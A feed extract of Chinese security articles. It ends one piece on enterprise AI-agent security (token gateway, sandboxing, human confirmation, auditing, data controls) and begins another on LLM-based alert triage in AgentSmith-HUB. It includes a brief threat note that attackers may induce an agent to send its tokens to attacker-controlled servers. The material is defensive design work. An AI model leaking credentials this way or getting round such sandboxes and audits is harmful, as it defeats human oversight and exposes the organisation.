的强制选择；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n253" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">非 HTTP 场景需要考虑如何进行兼容（未调研）；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n209" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Gatway 会成为攻击点，Gateway 应当仅接受 Agent 的调用，因此 Agent 到 Gateway 需要进行鉴权，由于 Gateway 需要被 Agent 拉起，可以通过证书校验 + 验证 Agent 初始化 Token 的方式完成；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n235" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Gateway 需要有 Token 适用范围的白名单机制，避免攻击者诱导 Agent 将 Token 打给受攻击者控制的服务器从而导致 Token 泄漏；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n238" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Gateway 需要支持 Forward Proxy Chaining，避免在 VPN、SASE 场景下不可用；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n310" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Gateway 发出的请求需要在 HTTP Header 中有对应特征标识；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n213" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Token 存储简单可以直接使用 OS Keychain，或者通过远端 KMS （过重且离线场景下不友好）。</span></span></p></li></ul><p cid="n226" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">参考资料：</span></span></p><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n231" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://github.com/onecli/onecli" target="_blank">https://github.com/onecli/onecli</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n244" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://github.com/zalando/go-keyring" target="_blank">https://github.com/zalando/go-keyring</a></span></span></span></p></li></ul><h2 cid="n53" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">5. Agent Sandbox</span></span></h2><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n258" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">办公等通用场景无法使用容器化方案可以考虑进程级别方案，类似 Claude Code 的方案（Windows下会会退到 WSL）；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n268" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">企业版和个人应用差异在于：企业版本部分动作是无法被加白的，一定需要人员确认，甚至需要人员进行 OTP 级别确认，这部分在安全意识培训中应当强调人和Agent的责任边界问题；（确认动作需要由Proxy和Sadnbox发起）；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n300" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">需要针对不同的 Skills、系统操作进行细粒度的权限映射，即哪些默认有权限、哪些需要发起什么等级的人工确认；这部分也可以成为在 Skills 扫描 LLM 评估阶段的一个环节，但是也不能仅依赖 Skills 扫描，还需要有一些基础的内置策略；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n313" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Sandbox 还有一部分很重要是需要按安全等级进行 Skills 环境隔离；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n262" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">需要人员确认的部分应当支持多种方式，CLI内、IM BOT、审批等；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n551" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">在企业应用场景下一些如直接浏览器操作是否应该禁止需要谨慎的内部评估；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n370" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">持续的安全测试和对抗。</span></span></p></li></ul><p cid="n284" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">参考资料：</span></span></p><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n289" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://github.com/anthropic-experimental/sandbox-runtime" target="_blank">https://github.com/anthropic-experimental/sandbox-runtime</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n290" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://www.anthropic.com/engineering/claude-code-sandboxing" target="_blank">https://www.anthropic.com/engineering/claude-code-sandboxing</a></span></span></span></p></li><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n293" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://code.claude.com/docs/en/sandboxing" target="_blank">https://code.claude.com/docs/en/sandboxing</a></span></span></span></p></li></ul><h2 cid="n54" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">6. Agent Auditing</span></span></h2><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n306" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对 Agent 的关键行为应当有对应的 Auditing 能力，集中式存储并且需要满足合规审计要求；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n367" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对 Agent Auditing Log 做入侵检测和UEBA检测；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n307" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">也可以考虑内置安全 Skills，针对未签名 Skills 加载进行上报进行异步安全扫描、定期针对用户意图进行识别、定期针对 Skills 版本进行风险检查等工作；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n328" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">企业 Agent 使用的模型应当仅支持使用公司内部采购或部署的 LLM；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n354" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">对于公司知识产权保护有很强需求（仅仅签署保密协议不够）+ 本地部署LLM困难的公司可以寻找各云厂商的 AI机密计算 解决方案；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n331" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">在对应的 LLM Gateway 上部署 LLM Guard 进行防护。</span></span></p></li></ul><p cid="n338" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">开源项目：</span></span></p><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing:border-box;margin:0px;color:#007aaa;font-style:italic;"><p cid="n345" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://github.com/QwenLM/Qwen3Guard" target="_blank">https://github.com/QwenLM/Qwen3Guard</a></span></span></span></p></li></ul><h2 cid="n55" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">7. Agent 数据安全</span></span></h2><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n318" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">在 Skills 意图识别阶段，如果需要处理大量生产数据，建议不允许在本地运行，仅允许在类似远端 Agent Server 进行，并针对原始数据经支持有限披露；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n358" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">同时针对传统的数据安全工作的覆盖度、全面程度、IAM覆盖度等有了更高的要求，源头管理才是解决办法；数据分类分级工具也应该标准化成为服务可以在 Agent 侧进行使用；</span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n364" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">针对数据外发操作可以引入安全 Skills 进行 Double Check，而不是仅仅依赖 Sandbox 权限。</span></span></p></li></ul><p><span leaf="">本文主要面向的是构建企业级类 Claw Agent 时的主要安全场景和思考，应该还有不少缺漏、错误，欢迎大家指正讨论。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=40aa01f8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484492%26idx%3D1%26sn%3Dd1ad5444996c011a30671572ec308cde">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 21 Apr 2026 23:29:00 +0800</pubDate>
    </item>
    <item>
      <title>从单次 LLM Call 到 Learning Loop - HUB 在安全运营的实践</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484487&amp;idx=1&amp;sn=ea8cb01e7b111d6403e298a264bf6b68</link>
      <description>从单次 LLM Call 到 Learning Loop - AgentSmith-HUB 在安全运营的实践</description>
      <content:encoded><![CDATA[<p>原创 <span>EBwill</span> <span>2026-04-01 17:18</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=60903713&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FhaeEa6u0cicC301hHmEBosZX7hfCpzjica9BkHIag6dBWkjRlwLYjJv8P2XlwHp0Kj7jpUJicdqoX5kia3cTFJTXawSuZ9ic85SM8BIUz9OFNlps%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>从单次 LLM Call 到 Learning Loop - AgentSmith-HUB 在安全运营的实践</p>
  <p style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><jncounttag></jncounttag><span leaf="">1. 背景</span></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">在公司反入侵的建设中安全运营是极为关键的一环，安全运营工程师需要针对部署的各类安全产品的告警进行及时响应与研判。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">但是各类入侵检测产品底层是各类黑名单策略、行为分析策略、ML 策略组成，如果策略质量较差那么会产生较多误报，且在告警准确度差的情况下，想要实现 7x24 小时的告警响应也是有困难的。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">在 LLM 出现后，利用大模型的能力做告警运营是一个非常成熟的实践路径。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">接下来将会给大家展示如何借助 HUB 从一开始的简单告警自动化研判的辅助操作，到自动化添加白名单排除误报，到最后的 Learning Loop 的设计和落地的。</span></span></p><p style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><jncounttag></jncounttag><span leaf="">2. 单次告警分析</span></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">AgentSmith-HUB 是一款 SDPP（Security Data Pipleline Platform）产品，即用该产品可以消费各类安全日志、安全告警，然后在该平台内进行统一的数据处理、规则配置、规则沉淀、告警响应的配置，优点是能够高性能的、统一的满足安全场景下的入侵检测规则制定、数据分析需求，统一使用 HUB 平台降低了大家各自开发工具或脚本带来的维护成本。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000825" data-ratio="0.5462962962962963" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=34d347d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicAdEgu1wKIAr3X1xyO9wCh8UMLfCf5Eo1O6Qaw7ticncIKyiajdtCMTFibmX9OP0lZ9kIRLKjYQTmmd94XT5akAxLvgXEOBkQarCk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">如图所示，我们通过 HUB 的配置可以消费多个 WAF 实例的告警（通过 HUB 的 INPUT 模块，可以消费如 Kafka、SLS 等这类日志通道），并进行统一的告警推送或单独针对某 WAF 实例进行特殊数据处理和分析后再进行告警推动。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">因此面对告警运营的需求，我们首先设计了一个和 RULESET 同级别的组件：AGENT，这样我们可以直接在 HUB 数据流中引入 AGENT 作为一个数据处理单元：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000826" data-ratio="0.5481481481481482" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b03fb7b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicBhC18J4p7H7icpV0iciapibIJjb839VoicPgn9BHicqHibGRHkl0KJIld8O725VxK0ibwMO2lGQZeib8ogf83ZyvewVp0Uib95Zjn4RQVDI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">我们新建了一个 &#39;alert_review&#39; AGENT 实例，让 AI 分析告警以及原始数据，并给出置信度评分和评估内容：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000827" data-ratio="0.3824074074074074" data-s="300,640" type="block" data-type="png" data-w="1080" 